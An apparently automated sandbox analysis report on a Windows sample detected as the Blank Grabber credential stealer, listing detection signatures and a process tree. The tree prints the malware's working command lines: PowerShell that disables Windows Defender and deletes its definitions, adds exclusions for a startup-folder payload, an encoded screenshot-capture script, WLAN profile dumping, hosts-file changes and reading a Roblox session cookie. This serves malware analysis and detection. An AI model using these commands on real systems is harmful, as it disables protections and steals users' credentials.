Edit tour

Windows Analysis Report
program.exe

Overview

General Information

Sample name:	program.exe
Analysis ID:	1557107
MD5:	3e6865657b29faea3a355c710f0aad45
SHA1:	ad9b98fa0f96685abc17aaab7fe4d65ac8fe34f7
SHA256:	2c48f7bc874f1c812c0031519e756c28f940a58b2f64cdb40a08f1ccc798f671
Tags:	exeuser-aachum
Infos:

Detection

Blank Grabber

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Yara detected Blank Grabber

Yara detected Telegram RAT

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Modifies Windows Defender protection settings

Modifies existing user documents (likely ransomware behavior)

Modifies the hosts file

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Removes signatures from Windows Defender

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Sigma detected: Rar Usage with Password and Compression Level

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious Startup Folder Persistence

Suspicious powershell command line found

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses cmd line tools excessively to alter registry or file data

Uses netsh to modify the Windows network and firewall settings

Writes or reads registry keys via WMI

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Powershell Defender Exclusion

Sigma detected: SCR File Write Event

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Screensaver Binary File Creation

Stores files to the Windows start menu directory

Too many similar processes found

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

program.exe (PID: 7308 cmdline: "C:\Users\user\Desktop\program.exe" MD5: 3E6865657B29FAEA3A355C710F0AAD45)

program.exe (PID: 7324 cmdline: "C:\Users\user\Desktop\program.exe" MD5: 3E6865657B29FAEA3A355C710F0AAD45)

cmd.exe (PID: 7376 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\program.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7520 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\program.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7384 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7512 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 04029E121A0CFA5991749937DD22A1D9)

MpCmdRun.exe (PID: 7956 cmdline: "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All MD5: B3676839B2EE96983F9ED735CD044159)

cmd.exe (PID: 7424 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7552 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7788 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7988 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7808 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7980 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7952 cmdline: C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 8084 cmdline: WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8136 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1184 cmdline: powershell Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 8188 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 3180 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 2520 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5472 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 1832 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 6768 cmdline: netsh wlan show profile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 5720 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8216 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 4076 cmdline: C:\Windows\system32\cmd.exe /c "systeminfo" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 8268 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

cmd.exe (PID: 6592 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8260 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA= MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 8776 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 9144 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES93BE.tmp" "c:\Users\user\AppData\Local\Temp\tgmup5d5\CSC93ACBC84BC674220B3501D9F22ECFDE.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

cmd.exe (PID: 7300 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 8252 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 8456 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8588 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 8464 cmdline: C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 8596 cmdline: attrib -r C:\Windows\System32\drivers\etc\hosts MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 8616 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8704 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 8644 cmdline: C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 8752 cmdline: attrib +r C:\Windows\System32\drivers\etc\hosts MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 8768 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8920 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 8784 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 8956 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 8792 cmdline: C:\Windows\system32\cmd.exe /c "getmac" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

getmac.exe (PID: 8964 cmdline: getmac MD5: 7D4B72DFF5B8E98DD1351A401E402C33)

cmd.exe (PID: 9024 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 9080 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 9160 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7080 cmdline: powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 8256 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

